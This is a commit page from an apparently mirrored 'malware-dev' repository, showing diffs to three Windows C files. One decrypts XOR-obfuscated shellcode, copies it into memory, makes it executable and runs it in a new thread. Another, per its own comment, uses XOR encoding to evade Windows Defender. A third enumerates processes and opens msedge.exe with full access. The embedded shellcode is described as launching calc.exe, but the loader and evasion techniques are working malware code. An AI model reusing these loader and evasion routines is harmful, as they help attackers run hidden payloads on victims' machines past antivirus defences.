admin/Print3M-malware-dev
1
0
Fork 0
mirror of https://github.com/Print3M/malware-dev synced 2026-06-21 16:42:26 +00:00
Code Issues Packages Projects Releases Wiki Activity

Change the Microsoft naming convention and stop the madness

Browse Source
This commit is contained in:
Print3M
2023-12-21 20:11:51 +01:00
parent 918fdc6593
commit 6d5d8593d6
3 changed files with 54 additions and 58 deletions
Download Patch File Download Diff File Expand all files Collapse all files
local_thread.c
+21 -21
View File
@@ -1,5 +1,6 @@
#include <Windows.h> #include <Windows.h>
#include <stdio.h> #include <stdio.h>
#include <stdint.h>
/* /*
Simple local thread shellcode execution. Simple local thread shellcode execution.
@@ -7,7 +8,7 @@
*/ */
// Xored shellcode with calc.exe // Xored shellcode with calc.exe
UINT8 CalcShellcodeXored[] = { uint8_t calc_shellcode_xored[] = {
0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B, 0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B,
0x27, 0x33, 0x3A, 0x48, 0x8D, 0x16, 0x3C, 0xF9, 0x3D, 0x0E, 0x2F, 0xD4, 0x39, 0x7D, 0x31, 0x27, 0x33, 0x3A, 0x48, 0x8D, 0x16, 0x3C, 0xF9, 0x3D, 0x0E, 0x2F, 0xD4, 0x39, 0x7D, 0x31,
0xFD, 0x37, 0x52, 0x31, 0xD4, 0x01, 0x24, 0x3A, 0x60, 0xD9, 0x2D, 0x15, 0x26, 0x54, 0xB0, 0xFD, 0x37, 0x52, 0x31, 0xD4, 0x01, 0x24, 0x3A, 0x60, 0xD9, 0x2D, 0x15, 0x26, 0x54, 0xB0,
@@ -29,63 +30,62 @@ UINT8 CalcShellcodeXored[] = {
0x15, 0x65, 0x15, 0x65,
}; };
UINT8 XorKey[] = { uint8_t xor_key[] = {
'v', 'e', 'r', 'y', '_', 's', 't', 'r', 'o', 'n', 'g', '_', 'k', 'e', 'y' 'v', 'e', 'r', 'y', '_', 's', 't', 'r', 'o', 'n', 'g', '_', 'k', 'e', 'y'
}; };
void xor_by_key(IN OUT uint8_t shellcode[], IN const size_t shellcode_sz, IN const uint8_t key[], IN const size_t key_sz) {
VOID XorByKey(IN OUT PBYTE pShellcode, IN CONST SIZE_T szShellcode, IN CONST PBYTE pKey, IN CONST SIZE_T szKey) { for (size_t i = 0; i < shellcode_sz; i++) {
for (SIZE_T i = 0; i < szShellcode; i++) {
// Get byte of key // Get byte of key
UINT8 bKey = pKey[i % szKey]; uint8_t byte_key = key[i % key_sz];
// Calculate value // Calculate value
pShellcode[i] = pShellcode[i] ^ bKey; shellcode[i] = shellcode[i] ^ byte_key;
} }
} }
VOID PrintBytes(IN CONST PBYTE bytes, IN CONST SIZE_T szBytes) { void print_bytes(IN const uint8_t bytes[], IN const size_t bytes_sz) {
for (SIZE_T i = 0; i < szBytes; i++) { for (size_t i = 0; i < bytes_sz; i++) {
if (i > 0 && i % 15 == 0) { if (i > 0 && i % 15 == 0) {
printf("\n"); printf("\n");
} }
printf("0x%02X, ", CalcShellcodeXored[i]); printf("0x%02X, ", calc_shellcode_xored[i]);
} }
} }
INT main() { int main() {
// Allocate memory // Allocate memory
LPVOID pMem = VirtualAlloc(NULL, sizeof(CalcShellcodeXored), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); void* mem= VirtualAlloc(NULL, sizeof(calc_shellcode_xored), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (pMem == NULL) { if (mem == NULL) {
printf("[!] VirtualAlloc error: %d \n", GetLastError()); printf("[!] VirtualAlloc error: %d \n", GetLastError());
return -1; return -1;
} }
// Decrypt the shellcode // Decrypt the shellcode
XorByKey(CalcShellcodeXored, sizeof(CalcShellcodeXored), XorKey, sizeof(XorKey)); xor_by_key(calc_shellcode_xored, sizeof(calc_shellcode_xored), xor_key, sizeof(xor_key));
// Copy the shellcode to the allocated memory // Copy the shellcode to the allocated memory
memcpy(pMem, CalcShellcodeXored, sizeof(CalcShellcodeXored)); memcpy(mem, calc_shellcode_xored, sizeof(calc_shellcode_xored));
// Set original shellcode to 0 // Set original shellcode to 0
memset(CalcShellcodeXored, 0x00, sizeof(CalcShellcodeXored)); memset(calc_shellcode_xored, 0x00, sizeof(calc_shellcode_xored));
// Change allocated memory permissions // Change allocated memory permissions
PDWORD dwOdlProtect = NULL; DWORD old_protect = NULL;
if (!VirtualProtect(pMem, sizeof(CalcShellcodeXored), PAGE_EXECUTE, &dwOdlProtect)) { if (!VirtualProtect(mem, sizeof(calc_shellcode_xored), PAGE_EXECUTE, &old_protect)) {
printf("[!] VirtualProtect error: %d \n", GetLastError()); printf("[!] VirtualProtect error: %d \n", GetLastError());
return -1; return -1;
} }
// Create a thread // Create a thread
HANDLE hThread = CreateThread(NULL, NULL, pMem, NULL, NULL, NULL); HANDLE thread = CreateThread(NULL, NULL, mem, NULL, NULL, NULL);
if (hThread == NULL) { if (thread == NULL) {
printf("[!] CreateThread error: %d \n", GetLastError()); printf("[!] CreateThread error: %d \n", GetLastError());
return -1; return -1;
} }
WaitForSingleObject(hThread, INFINITE); WaitForSingleObject(thread, INFINITE);
// Exit // Exit
printf("\n\nPress <Enter> To Quit ..."); printf("\n\nPress <Enter> To Quit ...");
process_enumeration_snapshot.c
+20 -24
View File
@@ -2,70 +2,66 @@
#include <TlHelp32.h> #include <TlHelp32.h>
#include <ctype.h> #include <ctype.h>
#include <stdio.h> #include <stdio.h>
#include <stdbool.h>
/* void to_lowercase(IN wchar_t src[], OUT wchar_t dest[]) {
Enumerate OS processes using WinAPI snapshot. for (size_t i = 0; i < wcslen(src); i++) {
Find a process by name and open it. dest[i] = (wchar_t) tolower(src[i]);
*/ dest[i + 1] = '\0';
VOID ToLowercaseW(IN PWCHAR pSrc, OUT PWCHAR pDest) {
for (SIZE_T i = 0; i < wcslen(pSrc); i++) {
pDest[i] = (WCHAR) tolower(pSrc[i]);
pDest[i + 1] = '\0';
} }
} }
BOOL FindProcess(IN CONST PWSTR pProcName, OUT PHANDLE hProc, OUT PROCESSENTRY32* pProcEntry) { bool find_process(IN const wchar_t proc_name[], OUT HANDLE* proc, OUT PROCESSENTRY32* proc_entry) {
/* /*
Return: Return:
TRUE - if process has been found and opened (:pProcName and :hProc are populated) TRUE - if process has been found and opened (:pProcName and :hProc are populated)
FALSE - if something failed (reading :pProcName and :hProc is undefined behavior) FALSE - if something failed (reading :pProcName and :hProc is undefined behavior)
*/ */
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); HANDLE snap= CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) { if (snap == INVALID_HANDLE_VALUE) {
printf("[!] CreateToolhelp32Snapshot error: %d \n", GetLastError()); printf("[!] CreateToolhelp32Snapshot error: %d \n", GetLastError());
return FALSE; return FALSE;
} }
if (!Process32First(hSnap, pProcEntry)) { if (!Process32First(snap, proc_entry)) {
printf("[!] Process32First error: %d \n", GetLastError()); printf("[!] Process32First error: %d \n", GetLastError());
return FALSE; return FALSE;
} }
// Prepare lowercase process name // Prepare lowercase process name
WCHAR ProcessName[MAX_PATH]; wchar_t process_name[MAX_PATH];
do { do {
ToLowercaseW(pProcEntry->szExeFile, ProcessName); to_lowercase(proc_entry->szExeFile, process_name);
printf("Proc: %5d | %ls \n", pProcEntry->th32ProcessID, ProcessName); printf("Proc: %5d | %ls \n", proc_entry->th32ProcessID, process_name);
if (wcscmp(ProcessName, pProcName) == 0) { if (wcscmp(process_name, proc_name) == 0) {
*hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pProcEntry->th32ProcessID); *proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc_entry->th32ProcessID);
if (*hProc == NULL) { if (*proc == NULL) {
printf("[!] OpenProcess error: %d \n", GetLastError()); printf("[!] OpenProcess error: %d \n", GetLastError());
return FALSE; return FALSE;
} }
return TRUE; return TRUE;
} }
} while (Process32Next(hSnap, pProcEntry)); } while (Process32Next(snap, proc_entry));
return FALSE; return FALSE;
} }
INT main() { INT main() {
HANDLE hProc = NULL; HANDLE proc = NULL;
PROCESSENTRY32 ProcEntry = { PROCESSENTRY32 proc_entry = {
// According to the documentation, this value must be initialized // According to the documentation, this value must be initialized
.dwSize = sizeof(PROCESSENTRY32) .dwSize = sizeof(PROCESSENTRY32)
}; };
if (!FindProcess(L"msedge.exe", &hProc, &ProcEntry)) { if (!find_process(L"msedge.exe", &proc, &proc_entry)) {
printf("[!] FindProcess failed \n"); printf("[!] FindProcess failed \n");
} else { } else {
printf("[+] Process opened: (%d) %ls \n", ProcEntry.th32ProcessID, ProcEntry.szExeFile); printf("[+] Process opened: (%d) %ls \n", proc_entry.th32ProcessID, proc_entry.szExeFile);
} }
// Exit // Exit
xor_payload.c
+13 -13
View File
@@ -1,5 +1,6 @@
#include <Windows.h> #include <Windows.h>
#include <stdio.h> #include <stdio.h>
#include <stdint.h>
/* /*
Simple XOR of shellcode evades Windows Defender. Simple XOR of shellcode evades Windows Defender.
@@ -7,7 +8,7 @@
*/ */
// Xored shellcode with calc.exe // Xored shellcode with calc.exe
UINT8 CalcShellcodeXored[] = { uint8_t calc_shellcode_xored[] = {
0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B, 0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B,
0x27, 0x33, 0x3A, 0x48, 0x8D, 0x16, 0x3C, 0xF9, 0x3D, 0x0E, 0x2F, 0xD4, 0x39, 0x7D, 0x31, 0x27, 0x33, 0x3A, 0x48, 0x8D, 0x16, 0x3C, 0xF9, 0x3D, 0x0E, 0x2F, 0xD4, 0x39, 0x7D, 0x31,
0xFD, 0x37, 0x52, 0x31, 0xD4, 0x01, 0x24, 0x3A, 0x60, 0xD9, 0x2D, 0x15, 0x26, 0x54, 0xB0, 0xFD, 0x37, 0x52, 0x31, 0xD4, 0x01, 0x24, 0x3A, 0x60, 0xD9, 0x2D, 0x15, 0x26, 0x54, 0xB0,
@@ -29,37 +30,36 @@ UINT8 CalcShellcodeXored[] = {
0x15, 0x65, 0x15, 0x65,
}; };
UINT8 XorKey[] = { uint8_t xor_key[] = {
'v', 'e', 'r', 'y', '_', 's', 't', 'r', 'o', 'n', 'g', '_', 'k', 'e', 'y' 'v', 'e', 'r', 'y', '_', 's', 't', 'r', 'o', 'n', 'g', '_', 'k', 'e', 'y'
}; };
void xor_by_key(IN OUT uint8_t shellcode[], IN const size_t shellcode_sz, IN const uint8_t key[], IN const size_t key_sz) {
VOID XorByKey(IN OUT PBYTE pShellcode, IN CONST SIZE_T szShellcode, IN CONST PBYTE pKey, IN CONST SIZE_T szKey) { for (size_t i = 0; i < shellcode_sz; i++) {
for (SIZE_T i = 0; i < szShellcode; i++) {
// Get byte of key // Get byte of key
UINT8 bKey = pKey[i % szKey]; uint8_t byte_key = key[i % key_sz];
// Calculate value // Calculate value
pShellcode[i] = pShellcode[i] ^ bKey; shellcode[i] = shellcode[i] ^ byte_key;
} }
} }
VOID PrintBytes(IN CONST PBYTE bytes, IN CONST SIZE_T szBytes) { void print_bytes(IN const uint8_t bytes[], IN const size_t bytes_sz) {
for (SIZE_T i = 0; i < szBytes; i++) { for (size_t i = 0; i < bytes_sz; i++) {
if (i > 0 && i % 15 == 0) { if (i > 0 && i % 15 == 0) {
printf("\n"); printf("\n");
} }
printf("0x%02X, ", CalcShellcodeXored[i]); printf("0x%02X, ", calc_shellcode_xored[i]);
} }
} }
INT main() { int main() {
XorByKey(CalcShellcodeXored, sizeof(CalcShellcodeXored), XorKey, sizeof(XorKey)); xor_by_key(calc_shellcode_xored, sizeof(calc_shellcode_xored), xor_key, sizeof(xor_key));
// Print xored shellcode // Print xored shellcode
printf("Decrypted shellcode: \n"); printf("Decrypted shellcode: \n");
PrintBytes(CalcShellcodeXored, sizeof(CalcShellcodeXored)); print_bytes(calc_shellcode_xored, sizeof(calc_shellcode_xored));
// Exit // Exit
printf("\n\nPress <Enter> To Quit ..."); printf("\n\nPress <Enter> To Quit ...");